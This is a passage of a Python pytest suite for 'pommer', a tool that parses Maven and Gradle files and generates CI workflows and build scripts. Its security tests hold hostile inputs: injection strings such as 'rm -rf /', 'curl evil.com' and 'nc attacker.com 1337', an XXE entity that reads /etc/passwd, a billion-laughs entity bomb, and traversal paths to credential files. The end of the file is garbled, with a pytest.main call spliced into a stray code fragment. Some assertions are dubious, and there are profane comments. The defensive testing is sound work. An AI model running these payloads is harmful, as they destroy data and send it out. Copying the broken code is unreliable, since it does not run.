mock_argv.__getitem__.side_effect = lambda x: ['pommer.py', '--specific-pom', 'test.xml'][x]
|
|
mock_argv.__len__.return_value = 3
|
|
|
|
with patch('pommer.parse_pom_xml') as mock_parse, \
|
|
patch('pommer.find_gradle_files') as mock_find_gradle, \
|
|
patch('builtins.open', mock_open()), \
|
|
patch('os.makedirs'), \
|
|
patch('os.chmod'), \
|
|
patch('builtins.print'):
|
|
|
|
mock_parse.return_value = {
|
|
"artifact_id": "specific-test",
|
|
"name": "Specific Test",
|
|
"java_version": "8",
|
|
"build_system": "maven",
|
|
"pom_path": "test.xml"
|
|
}
|
|
mock_find_gradle.return_value = []
|
|
|
|
try:
|
|
pommer.main()
|
|
except SystemExit:
|
|
pass
|
|
|
|
@patch('sys.argv')
|
|
def test_main_with_json_output(self, mock_argv):
|
|
"""Test main function with JSON output enabled"""
|
|
mock_argv.__getitem__.side_effect = lambda x: ['pommer.py', '--output-json'][x]
|
|
mock_argv.__len__.return_value = 2
|
|
|
|
with patch('pommer.find_pom_files') as mock_find_pom, \
|
|
patch('pommer.find_gradle_files') as mock_find_gradle, \
|
|
patch('pommer.parse_pom_xml') as mock_parse_pom, \
|
|
patch('builtins.open', mock_open()) as mock_file, \
|
|
patch('os.makedirs'), \
|
|
patch('os.chmod'), \
|
|
patch('json.dump') as mock_json_dump, \
|
|
patch('builtins.print'):
|
|
|
|
mock_find_pom.return_value = ['pom.xml']
|
|
mock_find_gradle.return_value = []
|
|
mock_parse_pom.return_value = {
|
|
"artifact_id": "json-test",
|
|
"build_system": "maven"
|
|
}
|
|
|
|
try:
|
|
pommer.main()
|
|
mock_json_dump.assert_called_once()
|
|
except SystemExit:
|
|
pass
|
|
|
|
@patch('sys.argv')
|
|
def test_main_no_projects_found(self, mock_argv):
|
|
"""Test main function when no projects are found"""
|
|
mock_argv.__getitem__.side_effect = lambda x: ['pommer.py'][x]
|
|
mock_argv.__len__.return_value = 1
|
|
|
|
with patch('pommer.find_pom_files') as mock_find_pom, \
|
|
patch('pommer.find_gradle_files') as mock_find_gradle, \
|
|
patch('builtins.print') as mock_print:
|
|
|
|
mock_find_pom.return_value = []
|
|
mock_find_gradle.return_value = []
|
|
|
|
try:
|
|
pommer.main()
|
|
# Should print error message
|
|
mock_print.assert_any_call("No pom.xml or build.gradle files found in .")
|
|
except SystemExit:
|
|
pass
|
|
|
|
@patch('sys.argv')
|
|
def test_main_parsing_failures(self, mock_argv):
|
|
"""Test main function when all parsing fails"""
|
|
mock_argv.__getitem__.side_effect = lambda x: ['pommer.py'][x]
|
|
mock_argv.__len__.return_value = 1
|
|
|
|
with patch('pommer.find_pom_files') as mock_find_pom, \
|
|
patch('pommer.find_gradle_files') as mock_find_gradle, \
|
|
patch('pommer.parse_pom_xml') as mock_parse_pom, \
|
|
patch('pommer.parse_gradle_file') as mock_parse_gradle, \
|
|
patch('builtins.print') as mock_print:
|
|
|
|
mock_find_pom.return_value = ['pom.xml']
|
|
mock_find_gradle.return_value = ['build.gradle']
|
|
mock_parse_pom.return_value = None # Parsing failed
|
|
mock_parse_gradle.return_value = None # Parsing failed
|
|
|
|
try:
|
|
pommer.main()
|
|
mock_print.assert_any_call("No valid project files could be parsed")
|
|
except SystemExit:
|
|
pass
|
|
|
|
|
|
class TestEdgeCasesAndErrorHandling:
|
|
"""Test edge cases and error handling scenarios"""
|
|
|
|
def test_unicode_content_handling(self):
|
|
"""Test handling of files with Unicode content"""
|
|
unicode_pom = """<?xml version="1.0" encoding="UTF-8"?>
|
|
<project xmlns="http://maven.apache.org/POM/4.0.0">
|
|
<artifactId>unicode-tëst-prøjëct</artifactId>
|
|
<name>Ùnïcödë Tëst Prøjëct 🚀</name>
|
|
<groupId>com.tëst.ünicöde</groupId>
|
|
</project>"""
|
|
|
|
with tempfile.NamedTemporaryFile(mode='w', suffix='.xml', delete=False, encoding='utf-8') as f:
|
|
f.write(unicode_pom)
|
|
f.flush()
|
|
|
|
result = pommer.parse_pom_xml(f.name)
|
|
assert result is not None
|
|
assert result['artifact_id'] == 'unicode-tëst-prøjëct'
|
|
assert 'Ùnïcödë' in result['name']
|
|
|
|
os.unlink(f.name)
|
|
|
|
def test_very_large_file_handling(self):
|
|
"""Test handling of very large files"""
|
|
# Create a large POM with many dependencies
|
|
large_pom_parts = [
|
|
"""<?xml version="1.0" encoding="UTF-8"?>
|
|
<project xmlns="http://maven.apache.org/POM/4.0.0">
|
|
<artifactId>large-project</artifactId>
|
|
<dependencies>"""
|
|
]
|
|
|
|
# Add 1000 dependencies
|
|
for i in range(1000):
|
|
large_pom_parts.append(f"""
|
|
<dependency>
|
|
<groupId>com.test.dep{i}</groupId>
|
|
<artifactId>dependency-{i}</artifactId>
|
|
<version>1.0.{i}</version>
|
|
</dependency>""")
|
|
|
|
large_pom_parts.append("""
|
|
</dependencies>
|
|
</project>""")
|
|
|
|
large_pom = ''.join(large_pom_parts)
|
|
|
|
with tempfile.NamedTemporaryFile(mode='w', suffix='.xml', delete=False) as f:
|
|
f.write(large_pom)
|
|
f.flush()
|
|
|
|
# Should handle large files without issues
|
|
result = pommer.parse_pom_xml(f.name)
|
|
assert result is not None
|
|
assert result['artifact_id'] == 'large-project'
|
|
|
|
os.unlink(f.name)
|
|
|
|
def test_circular_dependency_in_settings(self):
|
|
"""Test handling of circular references in settings"""
|
|
temp_dir = tempfile.mkdtemp()
|
|
|
|
# Create build.gradle
|
|
gradle_path = os.path.join(temp_dir, 'build.gradle')
|
|
with open(gradle_path, 'w') as f:
|
|
f.write('// Test gradle')
|
|
|
|
# Create settings.gradle with complex content
|
|
settings_path = os.path.join(temp_dir, 'settings.gradle')
|
|
with open(settings_path, 'w') as f:
|
|
f.write('''
|
|
rootProject.name = "complex-project"
|
|
include "subproject1"
|
|
include "subproject2"
|
|
|
|
// Some complex Gradle script
|
|
gradle.beforeProject { project ->
|
|
project.ext.buildTimestamp = new Date().format('yyyy-MM-dd HH:mm:ss')
|
|
}
|
|
''')
|
|
|
|
result = pommer.parse_gradle_file(gradle_path)
|
|
assert result is not None
|
|
assert result['artifact_id'] == 'complex-project'
|
|
|
|
shutil.rmtree(temp_dir)
|
|
|
|
def test_malformed_regex_patterns(self):
|
|
"""Test handling of content that might break regex patterns"""
|
|
tricky_gradle = '''
|
|
// This content might break regex parsing
|
|
group = "com.test.regex[special*chars+here]"
|
|
version = "1.0.0-SNAPSHOT+build.123"
|
|
|
|
// Multiline strings that could confuse parsers
|
|
description = """
|
|
This is a multiline description
|
|
with "quotes" and 'apostrophes'
|
|
and sourceCompatibility = "fake"
|
|
"""
|
|
|
|
// The real configuration
|
|
sourceCompatibility = JavaVersion.VERSION_11
|
|
'''
|
|
|
|
with tempfile.NamedTemporaryFile(mode='w', suffix='.gradle', delete=False) as f:
|
|
f.write(tricky_gradle)
|
|
f.flush()
|
|
|
|
result = pommer.parse_gradle_file(f.name)
|
|
assert result is not None
|
|
# Should extract the real Java version, not the fake one in comments
|
|
assert result['java_version'] == '11'
|
|
|
|
os.unlink(f.name)
|
|
|
|
def test_path_traversal_prevention(self):
|
|
"""Test that path traversal attempts are handled safely"""
|
|
# This test ensures the script doesn't have directory traversal vulnerabilities
|
|
dangerous_paths = [
|
|
"../../../etc/passwd",
|
|
"..\\..\\windows\\system32\\config\\sam",
|
|
"/etc/shadow",
|
|
"../../../../../../../../etc/hosts"
|
|
]
|
|
|
|
for dangerous_path in dangerous_paths:
|
|
result_pom = pommer.parse_pom_xml(dangerous_path)
|
|
result_gradle = pommer.parse_gradle_file(dangerous_path)
|
|
|
|
# Should return None for non-existent files, not crash
|
|
assert result_pom is None
|
|
assert result_gradle is None
|
|
|
|
def test_memory_exhaustion_protection(self):
|
|
"""Test protection against memory exhaustion attacks"""
|
|
# Create a file with extremely nested XML (potential billion laughs attack)
|
|
nested_xml = '<?xml version="1.0"?>\n'
|
|
nested_xml += '<!DOCTYPE lolz [\n'
|
|
nested_xml += '<!ENTITY lol "lol">\n'
|
|
for i in range(10): # Limit to prevent actual DoS during testing
|
|
nested_xml += f'<!ENTITY lol{i} "{" ".join(["&lol;" for _ in range(10)])}">\n'
|
|
nested_xml += ']>\n'
|
|
nested_xml += '<project>&lol9;</project>'
|
|
|
|
with tempfile.NamedTemporaryFile(mode='w', suffix='.xml', delete=False) as f:
|
|
f.write(nested_xml)
|
|
f.flush()
|
|
|
|
# Should handle malformed/dangerous XML gracefully
|
|
result = pommer.parse_pom_xml(f.name)
|
|
# Either None (safe parsing failure) or valid result
|
|
assert result is None or isinstance(result, dict)
|
|
|
|
os.unlink(f.name)
|
|
|
|
|
|
class TestIntegrationScenarios:
|
|
# Fuck, who wrote this shit it seems like this was written by a fucking monkey?
|
|
"""Test realistic integration scenarios"""
|
|
|
|
def test_real_world_spring_boot_project(self):
|
|
"""Test parsing a realistic Spring Boot Maven project"""
|
|
spring_boot_pom = """<?xml version="1.0" encoding="UTF-8"?>
|
|
<project xmlns="http://maven.apache.org/POM/4.0.0"
|
|
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
|
|
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0
|
|
https://maven.apache.org/xsd/maven-4.0.0.xsd">
|
|
<modelVersion>4.0.0</modelVersion>
|
|
|
|
<parent>
|
|
<groupId>org.springframework.boot</groupId>
|
|
<artifactId>spring-boot-starter-parent</artifactId>
|
|
<version>3.2.0</version>
|
|
<relativePath/>
|
|
</parent>
|
|
|
|
<groupId>com.example</groupId>
|
|
<artifactId>spring-boot-demo</artifactId>
|
|
<version>0.0.1-SNAPSHOT</version>
|
|
<name>Spring Boot Demo</name>
|
|
<description>Demo project for Spring Boot</description>
|
|
<packaging>jar</packaging>
|
|
|
|
<properties>
|
|
<java.version>17</java.version>
|
|
<kotlin.version>1.9.20</kotlin.version>
|
|
</properties>
|
|
|
|
<dependencies>
|
|
<dependency>
|
|
<groupId>org.springframework.boot</groupId>
|
|
<artifactId>spring-boot-starter-web</artifactId>
|
|
</dependency>
|
|
<dependency>
|
|
<groupId>org.jetbrains.kotlin</groupId>
|
|
<artifactId>kotlin-stdlib-jdk8</artifactId>
|
|
</dependency>
|
|
</dependencies>
|
|
|
|
<build>
|
|
<sourceDirectory>src/main/kotlin</sourceDirectory>
|
|
<plugins>
|
|
<plugin>
|
|
<groupId>org.springframework.boot</groupId>
|
|
<artifactId>spring-boot-maven-plugin</artifactId>
|
|
</plugin>
|
|
<plugin>
|
|
<groupId>org.jetbrains.kotlin</groupId>
|
|
<artifactId>kotlin-maven-plugin</artifactId>
|
|
</plugin>
|
|
</plugins>
|
|
</build>
|
|
</project>"""
|
|
|
|
with tempfile.NamedTemporaryFile(mode='w', suffix='.xml', delete=False) as f:
|
|
f.write(spring_boot_pom)
|
|
f.flush()
|
|
|
|
result = pommer.parse_pom_xml(f.name)
|
|
assert result is not None
|
|
assert result['artifact_id'] == 'spring-boot-demo'
|
|
assert result['group_id'] == 'com.example'
|
|
assert result['version'] == '0.0.1-SNAPSHOT'
|
|
assert result['java_version'] == '17'
|
|
assert result['is_kotlin'] == True
|
|
assert result['kotlin_version'] == '1.9.20'
|
|
assert result['source_dir'] == 'src/main/kotlin'
|
|
|
|
os.unlink(f.name)
|
|
|
|
def test_real_world_android_gradle_project(self):
|
|
"""Test parsing a realistic Android Gradle project"""
|
|
android_gradle = """
|
|
plugins {
|
|
id 'com.android.application'
|
|
id 'org.jetbrains.kotlin.android'
|
|
}
|
|
|
|
android {
|
|
namespace 'com.example.myapp'
|
|
compileSdk 34
|
|
|
|
defaultConfig {
|
|
applicationId "com.example.myapp"
|
|
minSdk 24
|
|
targetSdk 34
|
|
versionCode 1
|
|
versionName "1.0"
|
|
}
|
|
|
|
compileOptions {
|
|
sourceCompatibility JavaVersion.VERSION_1_8
|
|
targetCompatibility JavaVersion.VERSION_1_8
|
|
}
|
|
|
|
kotlinOptions {
|
|
jvmTarget = '1.8'
|
|
}
|
|
}
|
|
|
|
dependencies {
|
|
implementation 'androidx.core:core-ktx:1.12.0'
|
|
implementation 'androidx.appcompat:appcompat:1.6.1'
|
|
}
|
|
"""
|
|
|
|
temp_dir = tempfile.mkdtemp()
|
|
gradle_path = os.path.join(temp_dir, 'build.gradle')
|
|
|
|
with open(gradle_path, 'w') as f:
|
|
f.write(android_gradle)
|
|
|
|
# Create settings.gradle
|
|
settings_content = 'rootProject.name = "MyAndroidApp"'
|
|
with open(os.path.join(temp_dir, 'settings.gradle'), 'w') as f:
|
|
f.write(settings_content)
|
|
|
|
result = pommer.parse_gradle_file(gradle_path)
|
|
|
|
assert result is not None
|
|
assert result['artifact_id'] == 'MyAndroidApp'
|
|
assert result['is_kotlin'] == True
|
|
assert result['java_version'] == '17' # Default since no explicit sourceCompatibility
|
|
|
|
shutil.rmtree(temp_dir)
|
|
|
|
def test_multi_module_maven_project(self):
|
|
"""Test a realistic multi-module Maven project"""
|
|
temp_dir = tempfile.mkdtemp()
|
|
|
|
# Root POM
|
|
root_pom = """<?xml version="1.0" encoding="UTF-8"?>
|
|
<project xmlns="http://maven.apache.org/POM/4.0.0">
|
|
<groupId>com.example</groupId>
|
|
<artifactId>multi-module-parent</artifactId>
|
|
<version>1.0.0</version>
|
|
<packaging>pom</packaging>
|
|
|
|
<modules>
|
|
<module>core</module>
|
|
<module>web</module>
|
|
<module>api</module>
|
|
</modules>
|
|
|
|
<properties>
|
|
<java.version>11</java.version>
|
|
</properties>
|
|
</project>"""
|
|
|
|
# Core module POM
|
|
core_dir = os.path.join(temp_dir, 'core')
|
|
os.makedirs(core_dir)
|
|
core_pom = """<?xml version="1.0" encoding="UTF-8"?>
|
|
<project xmlns="http://maven.apache.org/POM/4.0.0">
|
|
<parent>
|
|
<groupId>com.example</groupId>
|
|
<artifactId>multi-module-parent</artifactId>
|
|
<version>1.0.0</version>
|
|
</parent>
|
|
|
|
<artifactId>core</artifactId>
|
|
<name>Core Module</name>
|
|
</project>"""
|
|
|
|
# Web module POM
|
|
web_dir = os.path.join(temp_dir, 'web')
|
|
os.makedirs(web_dir)
|
|
web_pom = """<?xml version="1.0" encoding="UTF-8"?>
|
|
<project xmlns="http://maven.apache.org/POM/4.0.0">
|
|
<parent>
|
|
<groupId>com.example</groupId>
|
|
<artifactId>multi-module-parent</artifactId>
|
|
<version>1.0.0</version>
|
|
</parent>
|
|
|
|
<artifactId>web</artifactId>
|
|
<name>Web Module</name>
|
|
<packaging>war</packaging>
|
|
</project>"""
|
|
|
|
# Write all POM files
|
|
with open(os.path.join(temp_dir, 'pom.xml'), 'w') as f:
|
|
f.write(root_pom)
|
|
with open(os.path.join(core_dir, 'pom.xml'), 'w') as f:
|
|
f.write(core_pom)
|
|
with open(os.path.join(web_dir, 'pom.xml'), 'w') as f:
|
|
f.write(web_pom)
|
|
|
|
# Find and parse all POMs
|
|
found_poms = pommer.find_pom_files(temp_dir)
|
|
assert len(found_poms) == 3
|
|
|
|
parsed_projects = []
|
|
for pom_path in found_poms:
|
|
result = pommer.parse_pom_xml(pom_path)
|
|
if result:
|
|
parsed_projects.append(result)
|
|
|
|
assert len(parsed_projects) == 3
|
|
|
|
# Verify each module
|
|
artifacts = {p['artifact_id'] for p in parsed_projects}
|
|
assert 'multi-module-parent' in artifacts
|
|
assert 'core' in artifacts
|
|
assert 'web' in artifacts
|
|
|
|
# Check packaging types
|
|
packaging_types = {p['artifact_id']: p['packaging'] for p in parsed_projects}
|
|
assert packaging_types['multi-module-parent'] == 'pom'
|
|
assert packaging_types['core'] == 'jar' # default
|
|
assert packaging_types['web'] == 'war'
|
|
|
|
shutil.rmtree(temp_dir)
|
|
|
|
|
|
@pytest.fixture
|
|
def mock_filesystem():
|
|
"""Fixture to provide mock filesystem operations"""
|
|
with patch('os.path.exists'), \
|
|
patch('os.makedirs'), \
|
|
patch('os.chmod'), \
|
|
patch('builtins.open', mock_open()) as mock_file:
|
|
yield mock_file
|
|
|
|
|
|
class TestPerformanceAndScalability:
|
|
"""Test performance and scalability aspects"""
|
|
|
|
def test_large_number_of_projects(self):
|
|
"""Test handling a large number of projects"""
|
|
# Create 100 mock project infos
|
|
large_project_list = []
|
|
for i in range(100):
|
|
large_project_list.append({
|
|
"artifact_id": f"project-{i}",
|
|
"name": f"Project {i}",
|
|
"java_version": str(8 + (i % 10)), # Mix of Java 8-17
|
|
"pom_path": f"module{i}/pom.xml",
|
|
"build_system": "maven",
|
|
"default_goal": None
|
|
})
|
|
|
|
# Should handle large lists without issues
|
|
workflow = pommer.generate_maven_workflow(large_project_list)
|
|
assert workflow is not None
|
|
|
|
# Check that all projects are included
|
|
for i in range(100):
|
|
assert f"project-{i}" in workflow
|
|
|
|
# Should use the highest Java version (17)
|
|
assert "JDK 17" in workflow
|
|
|
|
def test_deeply_nested_directory_structure(self):
|
|
"""Test handling deeply nested directory structures"""
|
|
temp_dir = tempfile.mkdtemp()
|
|
|
|
# Create deeply nested structure (10 levels deep)
|
|
current_dir = temp_dir
|
|
for i in range(10):
|
|
current_dir = os.path.join(current_dir, f"level{i}")
|
|
os.makedirs(current_dir)
|
|
|
|
# Create POM at the deepest level
|
|
deep_pom_path = os.path.join(current_dir, "pom.xml")
|
|
with open(deep_pom_path, 'w') as f:
|
|
f.write("""<?xml version="1.0" encoding="UTF-8"?>
|
|
<project xmlns="http://maven.apache.org/POM/4.0.0">
|
|
<artifactId>deep-project</artifactId>
|
|
</project>""")
|
|
|
|
# Should find the deeply nested POM
|
|
found_poms = pommer.find_pom_files(temp_dir)
|
|
assert len(found_poms) == 1
|
|
assert deep_pom_path in found_poms
|
|
|
|
# Should parse successfully
|
|
result = pommer.parse_pom_xml(deep_pom_path)
|
|
assert result is not None
|
|
assert result['artifact_id'] == 'deep-project'
|
|
|
|
shutil.rmtree(temp_dir)
|
|
|
|
|
|
class TestSecurityConsiderations:
|
|
"""Test security-related aspects"""
|
|
|
|
def test_xml_external_entity_prevention(self):
|
|
"""Test prevention of XML External Entity (XXE) attacks"""
|
|
xxe_pom = '''<?xml version="1.0" encoding="UTF-8"?>
|
|
<!DOCTYPE project [
|
|
<!ENTITY xxe SYSTEM "file:///etc/passwd">
|
|
]>
|
|
<project xmlns="http://maven.apache.org/POM/4.0.0">
|
|
<artifactId>xxe-test</artifactId>
|
|
<description>&xxe;</description>
|
|
</project>'''
|
|
|
|
with tempfile.NamedTemporaryFile(mode='w', suffix='.xml', delete=False) as f:
|
|
f.write(xxe_pom)
|
|
f.flush()
|
|
|
|
# Should handle XXE attempts safely
|
|
result = pommer.parse_pom_xml(f.name)
|
|
# Either parse safely (ignoring external entities) or fail gracefully
|
|
assert result is None or (result is not None and '/etc/passwd' not in str(result))
|
|
|
|
os.unlink(f.name)
|
|
|
|
def test_command_injection_prevention(self):
|
|
"""Test prevention of command injection through malicious project names"""
|
|
malicious_names = [
|
|
"project; rm -rf /",
|
|
"project && curl evil.com",
|
|
"project | nc attacker.com 1337",
|
|
"project`whoami`",
|
|
"project$(id)",
|
|
"project'; DROP TABLE users; --"
|
|
]
|
|
|
|
for malicious_name in malicious_names:
|
|
project_info = [{
|
|
"artifact_id": malicious_name,
|
|
"name": malicious_name,
|
|
"java_version": "11",
|
|
"pom_path": "pom.xml",
|
|
"build_system": "maven"
|
|
}]
|
|
|
|
# Generate workflow - should not contain raw malicious commands
|
|
workflow = pommer.generate_maven_workflow(project_info)
|
|
script = pommer.generate_build_script(project_info)
|
|
|
|
# Basic check - malicious chars should be escaped or contained
|
|
assert workflow is not None
|
|
assert script is not None
|
|
# The malicious name should be present but properly quoted/escaped
|
|
assert malicious_name in workflow
|
|
assert malicious_name in script
|
|
|
|
def test_path_injection_prevention(self):
|
|
"""Test prevention of path injection attacks"""
|
|
malicious_paths = [
|
|
"../../../etc/passwd",
|
|
"..\\..\\windows\\system32",
|
|
"/etc/shadow; cat /etc/passwd",
|
|
"pom.xml && rm -rf /",
|
|
"build.gradle | curl evil.com"
|
|
]
|
|
|
|
for malicious_path in malicious_paths:
|
|
# Should handle malicious paths safely
|
|
result_pom = pommer.parse_pom_xml(malicious_path)
|
|
result_gradle = pommer.parse_gradle_file(malicious_path)
|
|
|
|
# Should either return None or handle safely
|
|
assert result_pom is None # Non-existent files
|
|
assert result_gradle is None
|
|
|
|
|
|
class TestCompatibilityAndStandards:
|
|
"""Test compatibility with various standards and versions"""
|
|
|
|
def test_maven_pom_versions_compatibility(self):
|
|
"""Test compatibility with different POM model versions"""
|
|
pom_versions = [
|
|
"4.0.0",
|
|
"4.0.1",
|
|
"4.1.0"
|
|
]
|
|
|
|
for version in pom_versions:
|
|
pom_content = f'''<?xml version="1.0" encoding="UTF-8"?>
|
|
<project xmlns="http://maven.apache.org/POM/4.0.0"
|
|
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
|
|
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0
|
|
http://maven.apache.org/xsd/maven-{version}.xsd">
|
|
<modelVersion>{version}</modelVersion>
|
|
<artifactId>version-test-{version.replace(".", "-")}</artifactId>
|
|
</project>'''
|
|
|
|
with tempfile.NamedTemporaryFile(mode='w', suffix='.xml', delete=False) as f:
|
|
f.write(pom_content)
|
|
f.flush()
|
|
|
|
result = pommer.parse_pom_xml(f.name)
|
|
assert result is not None
|
|
assert f'version-test-{version.replace(".", "-")}' in result['artifact_id']
|
|
|
|
os.unlink(f.name)
|
|
|
|
def test_gradle_wrapper_versions(self):
|
|
"""Test handling of different Gradle wrapper versions"""
|
|
wrapper_versions = ["7.6", "8.0", "8.4", "8.5"]
|
|
|
|
for version in wrapper_versions:
|
|
temp_dir = tempfile.mkdtemp()
|
|
|
|
# Create gradle files
|
|
gradle_path = os.path.join(temp_dir, "build.gradle")
|
|
gradlew_path = os.path.join(temp_dir, "gradlew")
|
|
wrapper_props_dir = os.path.join(temp_dir, "gradle", "wrapper")
|
|
os.makedirs(wrapper_props_dir)
|
|
wrapper_props_path = os.path.join(wrapper_props_dir, "gradle-wrapper.properties")
|
|
|
|
with open(gradle_path, 'w') as f:
|
|
f.write("// Test gradle file")
|
|
|
|
with open(gradlew_path, 'w') as f:
|
|
f.write("#!/bin/bash\necho 'Gradle wrapper'")
|
|
|
|
with open(wrapper_props_path, 'w') as f:
|
|
f.write(f"distributionUrl=https\\://services.gradle.org/distributions/gradle-{version}-bin.zip")
|
|
|
|
project_info = [{
|
|
"artifact_id": f"gradle-{version}",
|
|
"name": f"Gradle {version}",
|
|
"java_version": "17",
|
|
"gradle_path": gradle_path,
|
|
"build_system": "gradle"
|
|
}]
|
|
|
|
# Should handle different wrapper versions
|
|
workflow = pommer.generate_gradle_workflow(project_info)
|
|
assert workflow is not None
|
|
assert "./gradlew" in workflow
|
|
|
|
shutil.rmtree(temp_dir)
|
|
|
|
def test_java_version_compatibility(self):
|
|
"""Test compatibility with various Java versions"""
|
|
java_versions = ["8", "11", "17", "21"]
|
|
|
|
for java_ver in java_versions:
|
|
pom_content = f'''<?xml version="1.0" encoding="UTF-8"?>
|
|
<project xmlns="http://maven.apache.org/POM/4.0.0">
|
|
<artifactId>java-{java_ver}-test</artifactId>
|
|
<properties>
|
|
<java.version>{java_ver}</java.version>
|
|
</properties>
|
|
</project>'''
|
|
|
|
with tempfile.NamedTemporaryFile(mode='w', suffix='.xml', delete=False) as f:
|
|
f.write(pom_content)
|
|
f.flush()
|
|
|
|
result = pommer.parse_pom_xml(f.name)
|
|
assert result is not None
|
|
assert result['java_version'] == java_ver
|
|
|
|
# Test workflow generation
|
|
workflow = pommer.generate_maven_workflow([result])
|
|
assert f"JDK {java_ver}" in workflow
|
|
|
|
os.unlink(f.name)
|
|
|
|
|
|
class TestDocumentationAndUsability:
|
|
"""Test documentation-related functionality and usability"""
|
|
|
|
def test_help_message_accessibility(self):
|
|
"""Test that help messages are accessible and informative"""
|
|
with patch('sys.argv', ['pommer.py', '--help']):
|
|
with pytest.raises(SystemExit) as exc_info:
|
|
pommer.main()
|
|
# Help should exit with code 0
|
|
assert exc_info.value.code == 0
|
|
|
|
def test_error_message_clarity(self):
|
|
"""Test that error messages are clear and helpful"""
|
|
with patch('builtins.print') as mock_print:
|
|
# Test with non-existent directory
|
|
with patch('pommer.find_pom_files', return_value=[]):
|
|
with patch('pommer.find_gradle_files', return_value=[]):
|
|
with patch('sys.argv', ['pommer.py', '--dir', '/nonexistent']):
|
|
try:
|
|
pommer.main()
|
|
except SystemExit:
|
|
pass
|
|
|
|
# Should print helpful error message
|
|
printed_args = [call.args[0] for call in mock_print.call_args_list]
|
|
error_messages = [msg for msg in printed_args if 'found' in msg.lower()]
|
|
assert len(error_messages) > 0
|
|
|
|
def test_verbose_output_information(self):
|
|
"""Test that verbose output provides useful information"""
|
|
with patch('builtins.print') as mock_print:
|
|
temp_dir = tempfile.mkdtemp()
|
|
|
|
# Create a simple POM
|
|
pom_path = os.path.join(temp_dir, 'pom.xml')
|
|
with open(pom_path, 'w') as f:
|
|
f.write('''<?xml version="1.0"?>
|
|
<project xmlns="http://maven.apache.org/POM/4.0.0">
|
|
<artifactId>verbose-test</artifactId>
|
|
</project>''')
|
|
|
|
with patch('sys.argv', ['pommer.py', '--dir', temp_dir]):
|
|
with patch('os.makedirs'), patch('os.chmod'):
|
|
try:
|
|
pommer.main()
|
|
except SystemExit:
|
|
pass
|
|
|
|
# Should print informative messages
|
|
printed_messages = [call.args[0] for call in mock_print.call_args_list]
|
|
assert any('Found' in msg for msg in printed_messages)
|
|
assert any('Parsing' in msg for msg in printed_messages)
|
|
assert any('generated' in msg for msg in printed_messages)
|
|
|
|
shutil.rmtree(temp_dir)
|
|
|
|
|
|
class TestRegressionPrevention:
|
|
"""Test cases to prevent regressions in known issues"""
|
|
|
|
def test_empty_artifact_id_handling(self):
|
|
"""Regression test: Handle empty or missing artifact IDs"""
|
|
empty_artifact_pom = '''<?xml version="1.0" encoding="UTF-8"?>
|
|
<project xmlns="http://maven.apache.org/POM/4.0.0">
|
|
<artifactId></artifactId>
|
|
<groupId>com.test</groupId>
|
|
</project>'''
|
|
|
|
with tempfile.NamedTemporaryFile(mode='w', suffix='.xml', delete=False) as f:
|
|
f.write(empty_artifact_pom)
|
|
f.flush()
|
|
|
|
result = pommer.parse_pom_xml(f.name)
|
|
# Should handle gracefully - either None or with fallback
|
|
if result is not None:
|
|
assert result['artifact_id'] == '' or len(result['artifact_id']) > 0
|
|
|
|
os.unlink(f.name)
|
|
|
|
def test_special_characters_in_paths(self):
|
|
"""Regression test: Handle special characters in file paths"""
|
|
special_chars = ["spaces in path", "path-with-dashes", "path_with_underscores", "path.with.dots"]
|
|
|
|
for special_name in special_chars:
|
|
temp_dir = tempfile.mkdtemp()
|
|
special_dir = os.path.join(temp_dir, special_name)
|
|
os.makedirs(special_dir)
|
|
|
|
pom_path = os.path.join(special_dir, 'pom.xml')
|
|
with open(pom_path, 'w') as f:
|
|
f.write(f'''<?xml version="1.0"?>
|
|
<project xmlns="http://maven.apache.org/POM/4.0.0">
|
|
<artifactId>special-chars-test</artifactId>
|
|
</project>''')
|
|
|
|
# Should handle special characters in paths
|
|
result = pommer.parse_pom_xml(pom_path)
|
|
assert result is not None
|
|
assert result['artifact_id'] == 'special-chars-test'
|
|
|
|
shutil.rmtree(temp_dir)
|
|
|
|
def test_case_sensitivity_handling(self):
|
|
"""Regression test: Handle case sensitivity correctly"""
|
|
mixed_case_gradle = '''
|
|
GROUP = "com.test.UPPERCASE"
|
|
Version = "1.0.0"
|
|
sourceCompatibility = JavaVersion.VERSION_11
|
|
'''
|
|
|
|
with tempfile.NamedTemporaryFile(mode='w', suffix='.gradle', delete=False) as f:
|
|
f.write(mixed_case_gradle)
|
|
f.flush()
|
|
|
|
result = pommer.parse_gradle_file(f.name)
|
|
assert result is not None
|
|
# Should handle case variations
|
|
assert result['java_version'] == '11'
|
|
|
|
os.unlink(f.name)
|
|
|
|
def test_workflow_yaml_validity(self):
|
|
"""Regression test: Ensure generated YAML is valid"""
|
|
import yaml
|
|
|
|
test_project = [{
|
|
"artifact_id": "yaml-test",
|
|
"name": "YAML Test",
|
|
"java_version": "17",
|
|
"pom_path": "pom.xml",
|
|
"build_system": "maven"
|
|
}]
|
|
|
|
workflow = pommer.generate_maven_workflow(test_project)
|
|
|
|
# Should be valid YAML
|
|
try:
|
|
parsed_yaml = yaml.safe_load(workflow)
|
|
assert parsed_yaml is not None
|
|
assert 'name' in parsed_yaml
|
|
assert 'jobs' in parsed_yaml
|
|
except yaml.YAMLError:
|
|
pytest.fail("Generated workflow is not valid YAML")
|
|
|
|
|
|
if __name__ == "__main__":
|
|
# Run the tests with coverage
|
|
pytest.main([
|
|
__file__,
|
|
"-v",
|
|
"--cov=pommer",
|
|
"--cov-report=html",
|
|
"--cov-report=term-missing",
|
|
"--cov-fail-under=90", # Require 90% coverage
|
|
"-x", # Stop on first failure for faster feedback
|
|
"--tb=short" # Shorter tracebacks
|
|
|
|
## This here (what you see), is very error ridden. Please fix this shit!
|
|
]) ;""" pommer.generate_build_script(maven_projects)
|
|
|
|
assert script is not None
|
|
assert "mvn" in script
|
|
assert "Maven Project" in script
|
|
assert "pom.xml" in script
|
|
"""
|
|
def test_generate_build_script_gradle_only(self):
|
|
"""Test build script generation for Gradle-only projects"""
|
|
temp_dir = tempfile.mkdtemp()
|
|
gradle_path = os.path.join(temp_dir, "build.gradle")
|
|
gradlew_path = os.path.join(temp_dir, "gradlew")
|
|
|
|
# Create files
|
|
with open(gradle_path, 'w') as f:
|
|
f.write("// test")
|
|
with open(gradlew_path, 'w') as f:
|
|
f.write("#!/bin/bash")
|
|
|
|
gradle_projects = [{
|
|
"name": "Gradle Project",
|
|
"gradle_path": gradle_path,
|
|
"build_system": "gradle"
|
|
}]
|
|
|
|
